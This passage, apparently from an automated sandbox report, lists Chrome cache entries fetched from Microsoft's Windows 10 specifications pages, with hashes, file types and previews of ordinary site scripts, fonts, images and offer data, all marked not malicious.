.\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1575)
Category:	downloaded
Size (bytes):	169884
Entropy (8bit):	4.998944571300516
Encrypted:	false
SSDEEP:	1536:Jixfu27gZraC5d1+ZcejRw/Fwuwx6xQ2+7rkTerQnmZl0S:Jixfu27gZOEdQV6tw3x6xQ2irkSr5lf
MD5:	2BE775D3F79F808BD63B12295038A4FC
SHA1:	53A2C1E339160614AE5428907D7F30A21B6B2F10
SHA-256:	23402BF1F2B34BF2FE4992827F29928BDAFD73C47B158ACD159DDF5F6938ACDB
SHA-512:	6ECCBCDBD02DBB7561800E38F3FBB9649AFBA2E3C697A4EF4CEA32D65DE0A61677201284B9E1F16D91E3D64E05A57F006D7330BBB354915FC453A7CC0BFED60A
Malicious:	false
URL:	https://www.microsoft.com/en-us/windows/windows-10-specifications
Preview:	<!DOCTYPE HTML>..<html lang="en-US" dir="ltr">.<head>. . .. ..... . . . . . . . .. . Start of ADDITIONAL DEBUG INFO cv.html .. CVToken: CASMicrosoftCV4ce33457.0. End of ADDITIONAL DEBUG INFO -->.... . . . . . <meta charset="UTF-8"/>. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/>. <meta http-equiv="x-ua-compatible" content="ie=edge"/>. . <meta name="keywords" content="Windows 10 requirements,windows 10 specifications,windows 10 system requirements,windows deprecations" />. . <meta name="twitter:site" content="@windows" />. . <meta name="twitter:creator" content="@microsoft" />. . <meta name="ms.lang" content="en" />. . <meta

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 100x100, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	2832
Entropy (8bit):	7.92569260000134
Encrypted:	false
SSDEEP:	48:5vgIfLwwvMw0oRW3lJOef6SE771axbtO4SSlPuVmcW3lIMJUCfVA2WNwfUFzzrPL:mIfL7v0oRWHOUEn1aH/Ll5h3KMJUcjWN
MD5:	9F25C34D443324665BB679F0C9716FF0
SHA1:	6224748E3C5968F23CF4717A3FFDB797A609DBAA
SHA-256:	65CBC7C735A938DCD2F8C5F74090229DF93E974613E757B0920F63DAEF5E2989
SHA-512:	BCAC42EBEE72C4443E7BCAAF10F94A02F17F0B2E7560EF766A41B808FD9E5BDA55871C92001C6A04B39CF0EF46958A0DE6DC981D8A8B5E3170E32230A7233FF4
Malicious:	false
Preview:	RIFF....WEBPVP8 .....'...d.d....%..W..9.%.+.O....O....W.S.....#.........px.~......W.....9.@.....g.....'.N.../.......f....@......B...g..........{;.o.........~..........g........`~.{.~.\|.....Rl.;w..T. ..nk6..P........=./.JZo...%..n..>q.,.6..z..oq...u62......A.J<.mC.zvJ,..#..?....M.......:.S..d.1..W...[...S..G......b...%...@.E..C.9..........f....}n..L......0I./B].1..q... ....-..U.....b.hZ..zL.M.m..m.\.3y..n.1(..V.C#..I....'..{3....QZ..........2O....y...\|.....^.e.l...0.......c...=.?~2.n8.e}#+..\|....4...h..d..m..".....v<..j.@M.Y.?'.=s...w.0T.mv.....Y...?....{.y......~.v.g......./.'.p.nA.k2..]..e..?cF..]...n..@._....SI.....l......X.L..N6.q....M.Q..U.s..6S..q..!.P.g.7.Nu.3.Av....luT.............]6..;c!.D."W..C9....B.p.......n>..y...s..@F.g..]rN]o..'..I...0.U...Ibv.J..........<0.N......g#.A].....>.>^......{.!2I...V.He....A.....U_qf..59.T...1.?..4f...`l.dl.....G.\|^........:..c...".. ....?......u.?.-...8zw..^Yc....y.7r[.&.;].{....,.H....M.._

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.327819531114783
Encrypted:	false
SSDEEP:	3:Aq7KKlMT9:AqeKWT9
MD5:	A8A3710424DC6E0DFF393C6964441BDB
SHA1:	E4978066791DD394BDDD174F2687A7CDD43442B2
SHA-256:	46CD047CC0D3D10776E2F50D4C9D55DB58BD97D7A95B7D691F53D4937C71CF00
SHA-512:	EE135EE50868E59853C8FE57A9471AE1FBBDE30A929D33B4A4D56200E70C93AFDFF0301EF7FEBC803258C2BA2DCBC183E632B2ADA1745D3C87C1EEB98E8DEE62
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/universalheader/v1/universalheader/clientlibs/site.min.ACSHASHa8a3710424dc6e0dff393c6964441bdb.css
Preview:	[class*="z-"]{position:relative}

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (507)
Category:	downloaded
Size (bytes):	1570
Entropy (8bit):	4.964227241339809
Encrypted:	false
SSDEEP:	24:3jp9cCfqk3rG/OcXBFBStOcf5W6UMyKyV/8RR5Lh/NgQQRWVvEwMvghoQ2aM0/vD:3jhlzcjbchWGyd58lRQweHQ24glA+J1k
MD5:	799F7DC6C3727B83CEC920A004E6B985
SHA1:	8E24FEC9E4F64001BBA989029FFC3E9C7C703820
SHA-256:	1CAFEC3DDD8B49D61D8A6206D3D7ABBE4833DA0AD852CA3295DAF137242AC1D3
SHA-512:	4834456FF369DF119CCE262439E64F4E7D9542FACB32615B0D4998FF1083EB9ADCCFB3D1D62F09BAD8F35482914B265D0149F7FDB921C1718DE19CD595F79765
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/components/content/stickybanner/v1/stickybanner/clientlibs/site.min.ACSHASH799f7dc6c3727b83cec920a004e6b985.js
Preview:	'use strict';const closeButtonStickyBanner=document.querySelector(".sticky-banner-close"),stickyBannerElement=document.querySelector(".sticky-banner"),chatBotInSticky=document.querySelector(".chat-bot");.stickyBannerElement&&(closeButtonStickyBanner&&(closeButtonStickyBanner.addEventListener("click",function(){hideStickyBanner();const a=document.querySelector(".click-start");a&&a.classList.remove("d-none")}),closeButtonStickyBanner.addEventListener("keydown",handleKeyDown)),onScrollHideBanner,window.addEventListener("scroll",onScrollHideBanner),window.addEventListener("resize",()=>{setTimeout(()=>onScrollHideBanner(),600)}));.function onScrollHideBanner(){var a=document.getElementById("uhf-footer");let c=document.querySelector(".closebtnclicked");var b=stickyBannerElement.offsetHeight;document.querySelector(".fixed-back-to-top").style.bottom=b+"px";if(a){b=document.getElementsByClassName("sticky-banner-hide");a=a.getBoundingClientRect();var d=window.innerHeight;c\|\|(a.top<=d&&0<=a.botto

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3164)
Category:	dropped
Size (bytes):	34401
Entropy (8bit):	5.567515913811421
Encrypted:	false
SSDEEP:	768:xluaIaJW9ePBW/YfKbNckc0OFc0hLoSIbSZdfKGnRmSdgSJnsYXZeTnOki:XuioyA/7c0opLozb6RmCg6kTG
MD5:	5EE9E4E4E0A5FD39092E63D2D102B12B
SHA1:	1B66C81BD03006B327228854327C0FD3DF434BC2
SHA-256:	441B9F212CD322C6B039A2691F999EB2FAFC10FD645BCDB043A6DEE2DD052DA7
SHA-512:	3CA07A5D89931BCF6F0294C0727020A7FFE663487DB6ECC309FF69DDF59A0490BF85395E91241D40ED1DCF157C0784E6D6B53D8C92D52ED05823CCB6FBE1C470
Malicious:	false
Preview:	'use strict';(()=>{function L(n){var r=T[n];if(void 0!==r)return r.exports;r=T[n]={exports:{}};return U[n](r,r.exports,L),r.exports}var U={3770:(n,r,h)=>{n.exports=h(2494).default},2494:(n,r,h)=>{function f(x){return!x.response&&!!x.code&&"ECONNABORTED"!==x.code&&(0,a.default)(x)}function g(x){return"ECONNABORTED"!==x.code&&(!x.response\|\|500<=x.response.status&&599>=x.response.status)}function p(x){return!!x.config&&g(x)&&-1!==t.indexOf(x.config.method)}function m(x){return f(x)\|\|p(x)}function k(){return 0}.function l(x){var H=x[A]\|\|{};return H.retryCount=H.retryCount\|\|0,x[A]=H,H}function u(x,H){x.interceptors.request.use(function(E){return l(E).lastRequestTime=Date.now(),E});x.interceptors.response.use(null,function(E){var v=E.config;if(!v)return Promise.reject(E);var I=Object.assign({},H,v[A]),P=I.retries;P=void 0===P?3:P;var J=I.retryCondition;J=void 0===J?m:J;var M=I.retryDelay;M=void 0===M?k:M;I=I.shouldResetTimeout;I=void 0!==I&&I;var Q=l(v);if(J(E)&&Q.retryCount<P){Q.retryCount+

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1290)
Category:	dropped
Size (bytes):	11629
Entropy (8bit):	5.449562181288923
Encrypted:	false
SSDEEP:	192:D+BJaYpdowNJ0EwWnvUaBBVaJxQvqKTAphPgffazesLZEU1bsLM7vImzwXdrQ9Cr:D+DDdowNJ0EwWnvUaBBVaJxQvqKTAphS
MD5:	BB93CF674BEB54673814249DCF4EFC96
SHA1:	3190F4BE4D37525C6B3222B93EEAFBC66B538E94
SHA-256:	9653EB19E7206B44513D92E4C9359B289FC2478D4611AE01C5798C89C8211E70
SHA-512:	D7E09140CF399BDEB513544617FABD95AB62BE0D9DD265B2A9E5EB5D1DC29497FE5A4088E66A00C4AEBB9529A217354EBEF512E504B22245CF8C12DC3D95B449
Malicious:	false
Preview:	'use strict';var currentLocale=$("html").attr("lang").toLowerCase(),currentPage=window.location.pathname.toLowerCase(),targetPage="/en-us/windows/business/windows-11-pro",enableExperiments=document.querySelector("meta[name*\x3d'enabled-experiment']"),enableExperimentsValue=void 0!=enableExperiments&&null!=enableExperiments?enableExperiments.content:"",DB_AUDIENCES="Software \x26 Technology;Business Services;Telecommunications;University;Financial Services;Manufacturing;Education;Construction;Healthcare \x26 Medical;K12".split(";"),.win_personalization={"en-us":{alt:{"Software \x26 Technology":"A man working at a standing desk surrounded by three monitors with coding information on screens.","Business Services":"A conference room with Microsoft Teams on monitor and several people around a table with laptop open, working on schematic.",Telecommunications:"A single telecommunications tower rising amongst a sunset and mountains.",University:"Several college-age students with laptops open,

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (728)
Category:	downloaded
Size (bytes):	11405
Entropy (8bit):	5.337832455968521
Encrypted:	false
SSDEEP:	192:ei4mI8A10VNEHbnIB89tGRbvlG/bUgck7L8Dap8z+vRjQfymrQy1Zy1Gy1M+qmWW:eiy1F7nIB89tGRbvaUBvk8qjQfymrQy8
MD5:	FF9CACB22668C4F6174E0AF4A2BE89F9
SHA1:	EC9ED15001A3E13404660B6EA09F99C512E08882
SHA-256:	EF39A5CC6826231852FD8D60736867DA31E7E9036F3575B1DC4846DC6FB86A3B
SHA-512:	267064DCB16AB4B9B19756C2313CCB9E5B467A41427DE9BF46158A1C2231699EC43D51C2F201D97C02AFA31BF5011FF471035CF10C7DC6003299B86D85C52806
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-site.min.ACSHASHff9cacb22668c4f6174e0af4a2be89f9.js
Preview:	'use strict';var UHFButton=$("header #c-uhf-nav-cta \x3e a");0<$("meta[name\x3d'blue-cta']").length&&UHFButton.addClass("blue-cta");UHFButton.css("visibility","visible");var mainLandmark=$("main"),rootNode=$(".root");0< !mainLandmark.length&&0<rootNode.length&&rootNode.attr("role","main");.function changeSupToAnchor(){try{var a="",b="",c=[];$("sup:not(.no-link)").each(function(){a=$(this).text();a=a.replace("*(","");a=a.replace(")","");c=a.split(", ");for(var e=0;e<c.length;e++)b+="\x3ca aria-label\x3d'Footnote "+c[e]+"' href\x3d'javascript:void(0);' class\x3d'c-hyperlink supBLink'\x3e\x3cspan class\x3d'supText'\x3e"+c[e]+"\x3c/span\x3e\x3c/a\x3e\x3cspan\x3e, \x3c/span\x3e";$(this).html(b);b=""});$("sup").find("span:last").remove();var d=$(".list-unstyled li a.superscript");d.attr("href",."javascript:void(0);");d.addClass("supLink");d.each(function(){0==$(this).find(".supFn").length&&$(this).wrapInner("\x3cspan class\x3d'supFn'\x3e\x3c/span\x3e")})}catch(e){console.log(e)}}.function n

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29888, version 0.0
Category:	downloaded
Size (bytes):	29888
Entropy (8bit):	7.993034480673089
Encrypted:	true
SSDEEP:	768:b2epE/P8HSbsbNl+GfEMuHyS4aAyoVfszfHS1W:6eSkgsbGGanzAjIyg
MD5:	E465F101F881B07CCFBB55D51D18135F
SHA1:	0D76B152EA1AE4AA68DB36DCC7BD204ACDC571D3
SHA-256:	6F5EBFD0FC9A520ADCA234FDD34B4DFBEB106942A6F44E65FC1AC54F7D2D6498
SHA-512:	2C1F730DB5108DDE4731F22838AD7EEF4D6698ED5EA0C0951B81B21722DF8051623923672C46F9397F81E74741CDEC794F03AAC37E532D1223A1A1CE448C73AA
Malicious:	false
URL:	https://support.microsoft.com/css/fonts/support-icons/mdl2/latest_v4_70.woff2
Preview:	wOF2......t........X..tb.........................`..`..6...Y..... ....6.$..,.. .. ..s. ..S."..`...@.."..........!!.T5..?.........#t..7. .. ~"?A..A...4./..}.'.D.8.E......C......T..o.......l.UJ..SB...U.D6..W..uV.j,...+.>"N...}.&E..P~....z..w...Z".k...S:..t.7.fA.ic;%HZi...W.....w...I.p..........=>....) X ....@B......R ..P..$H.....h.{,..X..l. ..uY.w.Kc..+........r.H....... .....!....7$.b......@(Mp..,."z..(......V....y.E..w\...n./...&...+...R.......\~d,.....S..r%.s.s.......h...:.@.!h..(.< .@..0.P2H..!..r.6..V.r.:..)T.9T..n......;....+a...).L+....eX....\|.x...$]hS....+e+ HK.H'Q..RJ..X...}.....l....=S.G.e.{..I%9.1.O~k....@.$.{.M^.......~z...2...r.]b..[......(.H... ...z.)...&....9..$.Q1F...1......7C..UJ...T..F....Z..K.......F..&L0c...p..N8..g...W\...q........Oz..O./......#..... ..L0B.A(..#..#..D..(..M4b.A,..`A.q.'..$ .D$..d..B.RIE.iH'..d .L.....M6r.A..3......PH!.(B1.(......2.S..*PI%..B5......:.S....H#.hB3.h......6...:.I'..B7.......>...+V.0.A.1...

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1073
Entropy (8bit):	7.243890665586596
Encrypted:	false
SSDEEP:	24:+cKYj6LUvzlX4+VMryPFVDJy4NHrfbXrJ/aVx31uXoh:+cKYjwUvhIMrPFnPtTJ/aV7h
MD5:	ED3D3EC7A576BB8776F22886D31F4689
SHA1:	5A401FA02D03E0003926BB74DD595C5334AA8350
SHA-256:	E6AF4D221E265EB8B989EE8657857C215D50CB625B7EF19C552F9F166622E614
SHA-512:	4082DE4EA38328D78E8835326E9FA27E1BF56ACA17F85DCF119EF501CD35E6578C62D3AA85386641EB2F93BA7BAD9176C22AE39C19DBA353814721A3641EB39F
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/windows-commercial-ask-the-community-RE1Yceg?wid=64&hei=64
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D....................(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@...@....pixi............av1C........colrnclx...........ipma...................mdat.............2...@.. ........\.ChA-Ey......f.\|...2.B+..r..}..h,.Uj~.ST.r......S..7.S...aA...w}...N...w...T.........t....?....z.......t=...v.B..z.]G..c.G:.h76..K...>S...'^../..."{.[.,\5..k..J.t. .)..wN..k7..#I@...)k.o&.....w..@X_..L'C2,s...=..Ix.S........p<h...'tE..p.R?.=2..Y~....8pX.....`T,)I!<.........4d............D.5.......Q.........'".[."*oA.Z..%...+.#]..(.9.(`..7../...1.\.o.v@E{..T=.B..h..[..@...t..\|}.o....C....';..O..X...f...9..._o.....n..."RL.Y.Gg.\VZ[d.7.z.`....@....K......wa...9..Bb........4_.Z<Z...1...H...]7..O............M.....1..@<.O.z.....;.....J...x8.....V.$..c..C.'...,.\|8k..@...'..Q...");1K+.[..B....c..VKz....6...\|.-6r.n......D(..w.x.....I..'O..eG....9..Q.p.

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (503)
Category:	dropped
Size (bytes):	558
Entropy (8bit):	4.98634955391743
Encrypted:	false
SSDEEP:	12:c83DOkFYerjD6tD7fgu1M+WqQRxsZAsDFYAWCyQPO:cmZr6t/zpeT/oWCyaO
MD5:	A3BC5418F2834309CE2918B15F3B8EEA
SHA1:	62BA2712C6D4960F1057E103F6E1F3C95F2C701B
SHA-256:	B2B62643A7C4FE4A4E12934AD819F0293CC00181B78D8091AFFFF3617CEB96B1
SHA-512:	460E22E36E93BEC194D00D47754108539D2E54FF59D4293EEC25463BC3D642879C10D9BBFD881BBE5EC244819F325C422B6D7A7504000BBCE432E4D2A08FB58B
Malicious:	false
Preview:	!function(){"use strict";function e(e){return document.querySelectorAll(e)}function t(e,t){e.remove(),t.style.removeProperty("display")}window.addEventListener("load",(function(){var o,r=e(".ocpSectionLayout .ocpSection"),n=e(".ocpSectionLayout .shimmer-effect");if(r.length===n.length)for(var i=0;i<n.length;i++){var c=(o=n[i],Number(o.getAttribute("shimmer-delay")));setTimeout(t,c,n[i],r[i])}else n.forEach((function(e){e.remove()})),r.forEach((function(e){e.style.removeProperty("display")}))}))}();.//# sourceMappingURL=shimmerExperiment.Main.min.js.map

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	3618
Entropy (8bit):	7.927185096934077
Encrypted:	false
SSDEEP:	96:7MX/zsJdnoyrScwrFhEmNg0UuMQcYQXiWIwheMs+:7+AJdnnrQ00UsOE+
MD5:	4E5B2AAAB56D5439F181579EAE911ADC
SHA1:	CE1F66351F1EDD03EADB8104F8009DE0E1C8BF4B
SHA-256:	3B17ACCA4955E114A23D24244AA773A464D8599497365FFB8D97D5CCC791BD7A
SHA-512:	338D1A49549A82886718182F909A7A28E4DA6555BF6F23611F404C111201F9D14BFE62C59B68ABD4271A9A7ADF3F80128E65ED60C05370A80EF2090F0A8925F8
Malicious:	false
Preview:	RIFF....WEBPVP8X...........-..ALPHq.......m.........9..a62. !.2.2?..mm..j..i....m+..g..m.m.I.6Im.n.$.'\.}?wG.....O.o.E.,.".?.g]..6..]./R.y.....smb....6l....R.6l.asw...!j._.o!.i6..mDJ_6.]#"...B.o..smb.....y>..t.Q...Dy6q."...6....c.....5L..........T..O..<.L./..mo(.bQ=...v. S.0%........J/..{9.1..H4...t..+..... ...._..&....i&].j.j...8]...!..X.t...U..R,...B.kU+.dm......l.t.....\...E%D\.dw.$.\....C..w...-t..Z..............#.RO.....LJ....w667.q..O@.......\........??..}.............%..../R..z.Llk.7....d\...%.x...9..5.H....'..+w..2...q..+"..*V'..i..t6..?.z.r...h..c..G<G....o.I.{..XH)....RJ.I.(#i....%..... pR.Z.........~.J.....g...q...;v ......a..?..0.s.2.. ...\..../......>......:.0.u_...9[]P.)R.#...O....VFD.....3 G.0..R.z....j..@t...Kr.d.6..4.....d\|.\.-.4-R.M..IQ.T..N(..K-.s..O-..r4....)o..H...h..?JK27...<.H.W.\......bVw.. ...tR8....N.....\|...l....`...s..YED.-.....%2.Hh)"....W...D.S.+...QR....:FK.%b.\YjkE.MNIq.8!..]...[.TPw.H.cb..VR.Q.=......D

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64048), with no line terminators
Category:	downloaded
Size (bytes):	195652
Entropy (8bit):	5.59087346074198
Encrypted:	false
SSDEEP:	768:1nivDOD44TRlAPP5+vKV6T0slurhnhEtq8CofjcP3l6IbP+UbLCZnQFPRBP1IdcB:1nem3NlcV0ziMl5VOzSslHVxzWcl9V4W
MD5:	187188233E3744C9510B022BEED830E7
SHA1:	6462CA4C98398E587DB45AFAAA748B3BCAB468FE
SHA-256:	1C376D62B8A4C20111DF972775C257E598CE2A4064FB41F860927868128560E5
SHA-512:	D31F006B66D24B630D7DA60587E02EEAE21C98537D80EC4D6661E60A8B44936893C1BBCE47FABDF327BD75436CC602DDF1A8BD1B42766FE3D43A0B56640BC255
Malicious:	false
URL:	https://offertoolproduction.azureedge.net/windowsoffers/ActiveOffers.json
Preview:	[{"OfferID":697865855,"GlobalOfferID":null,"BackgroundColor":null,"Locale":"EN-AU","Status":"Active","Approved":true,"StartDate":"2024-11-03","StartTime":"07:00","EndDate":"2024-11-20","EndTime":"08:00","Text":"Make their holiday shine with Surface laptops and 2-in-1s.","CTAText":"Shop Surface deals","CTALink":"https://www.microsoft.com/en-au/store/b/sale?icid=Windows_Top_Stripe_Surface_Deals_031124_en_AU","AriaLabel":"Shop Surface deals","CreatedDate":"2024-10-31T20:45:32.6336034","LastUpdatedBy":"","CreatedByEmail":"","LastUpdatedByEmail":"","ApprovedBy":"","Pages":["/default.aspx"],"Priority":"0","Submittext":"Submit","SentforApproval":true,"IsConflictExists":false,"IsOfferPublished":false},{"OfferID":697878904,"GlobalOfferID":null,"BackgroundColor":null,"Locale":"EN-NZ","Status":"Active","Approved":true,"StartDate":"2024-11-03","StartTime":"07:00","EndDate":"2024-11-20","EndTime":"08:00","Text":"Make their holiday shine with Surface laptops and 2-in-1s.","CTAText":"Shop Surface dea

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (605)
Category:	dropped
Size (bytes):	179808
Entropy (8bit):	5.556656445593751
Encrypted:	false
SSDEEP:	3072:xLp14+FgmOlITmhHDBrWnW+9BDI8nvtmmRHVi3J11HFaANDVDoO:xLp3EHDBrWW2BjvRREJPHFXNh
MD5:	C3AEC3D03BC5447975E3EE25B53F6C32
SHA1:	353F68C0F6DF93888427E40135CF2DBF517F6FD0
SHA-256:	72FBAC0EA8A0FF74E7ABE2E24FB992885AC904A3C1C579387E97654DD9C535BA
SHA-512:	7D0E3CE67B84B7C1BBFC4511623426D68DE11D90BBEFF026013424C17D810CB59C75CD0754DD3A8AD9D3E27ED9620C9A6B92E2D7188C03845B0C3CC0E72951A1
Malicious:	false
Preview:	'use strict';(()=>{function kc(a){a=!1===(a=void 0===a?!0:a)?null:gg;return a\|\|((a=(a=(a="undefined"!==typeof globalThis?globalThis:a)\|\|"undefined"===typeof self?a:self)\|\|"undefined"===typeof window?a:window)\|\|"undefined"===typeof Sc.g\|\|(a=Sc.g),gg=a),a}function se(a){function b(){}var c;if(hg)a=hg(a);else if(null==a)a={};else{if("object"!==(c=typeof a)&&c!==yc)throw new TypeError("Object prototype may only be an Object:"+a);a=(b.prototype=a,new b)}return a}function Sa(a,b){function c(){this.constructor=.a}if(typeof b!==yc&&null!==b)throw new TypeError("Class extends value "+String(b)+" is not a constructor or null");ig(a,b);a.prototype=null===b?se(b):(c.prototype=b.prototype,new c)}function jg(a,b){for(var c=0,d=b.length,e=a.length;c<d;c++,e++)a[e]=b[c];return a}function Gb(a,b){return a&&ud.prototype.hasOwnProperty.call(a,b)}function vd(a){return a&&(a===ud.prototype\|\|a===Array.prototype)}function te(a){return vd(a)\|\|a===Function.prototype}function lc(a){if(a){if(Tc)return Tc(a);var

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (605)
Category:	downloaded
Size (bytes):	179808
Entropy (8bit):	5.556656445593751
Encrypted:	false
SSDEEP:	3072:xLp14+FgmOlITmhHDBrWnW+9BDI8nvtmmRHVi3J11HFaANDVDoO:xLp3EHDBrWW2BjvRREJPHFXNh
MD5:	C3AEC3D03BC5447975E3EE25B53F6C32
SHA1:	353F68C0F6DF93888427E40135CF2DBF517F6FD0
SHA-256:	72FBAC0EA8A0FF74E7ABE2E24FB992885AC904A3C1C579387E97654DD9C535BA
SHA-512:	7D0E3CE67B84B7C1BBFC4511623426D68DE11D90BBEFF026013424C17D810CB59C75CD0754DD3A8AD9D3E27ED9620C9A6B92E2D7188C03845B0C3CC0E72951A1
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/structure/page/clientlibs/custom-oneds.min.ACSHASHc3aec3d03bc5447975e3ee25b53f6c32.js
Preview:	'use strict';(()=>{function kc(a){a=!1===(a=void 0===a?!0:a)?null:gg;return a\|\|((a=(a=(a="undefined"!==typeof globalThis?globalThis:a)\|\|"undefined"===typeof self?a:self)\|\|"undefined"===typeof window?a:window)\|\|"undefined"===typeof Sc.g\|\|(a=Sc.g),gg=a),a}function se(a){function b(){}var c;if(hg)a=hg(a);else if(null==a)a={};else{if("object"!==(c=typeof a)&&c!==yc)throw new TypeError("Object prototype may only be an Object:"+a);a=(b.prototype=a,new b)}return a}function Sa(a,b){function c(){this.constructor=.a}if(typeof b!==yc&&null!==b)throw new TypeError("Class extends value "+String(b)+" is not a constructor or null");ig(a,b);a.prototype=null===b?se(b):(c.prototype=b.prototype,new c)}function jg(a,b){for(var c=0,d=b.length,e=a.length;c<d;c++,e++)a[e]=b[c];return a}function Gb(a,b){return a&&ud.prototype.hasOwnProperty.call(a,b)}function vd(a){return a&&(a===ud.prototype\|\|a===Array.prototype)}function te(a){return vd(a)\|\|a===Function.prototype}function lc(a){if(a){if(Tc)return Tc(a);var

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (534)
Category:	downloaded
Size (bytes):	19236
Entropy (8bit):	4.957542756789534
Encrypted:	false
SSDEEP:	384:9zzYyDqAWpM8go1q7q9Qfg7c7obVebVYbVlbVg7Lq/qVqJqZ9jk/kVkaBVKBVWH5:9zzYyDqAWpM8go1q7q9Qfg7c7oReRYRS
MD5:	AC48C90DAF8C653B94A6858350DE0C59
SHA1:	164611585875F2F3FF1D2384D307A79C328856E9
SHA-256:	772D95D573FB7E287D7C9CA726D997F57457D464274647A2EF6FE9ACE7FA048C
SHA-512:	16427EC4CC9E0959A393DC55139717EF5A5E0D5542084588FA888763641A0DBED4A64EC43C2E3DC0DFFFDD2AB47C3F304024EE5A4DFA98DA60C0C0067AA58843
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/components/content/Inpagenavigation/v1/Inpagenavigation/clientlibs/sites.min.ACSHASHac48c90daf8c653b94a6858350de0c59.css
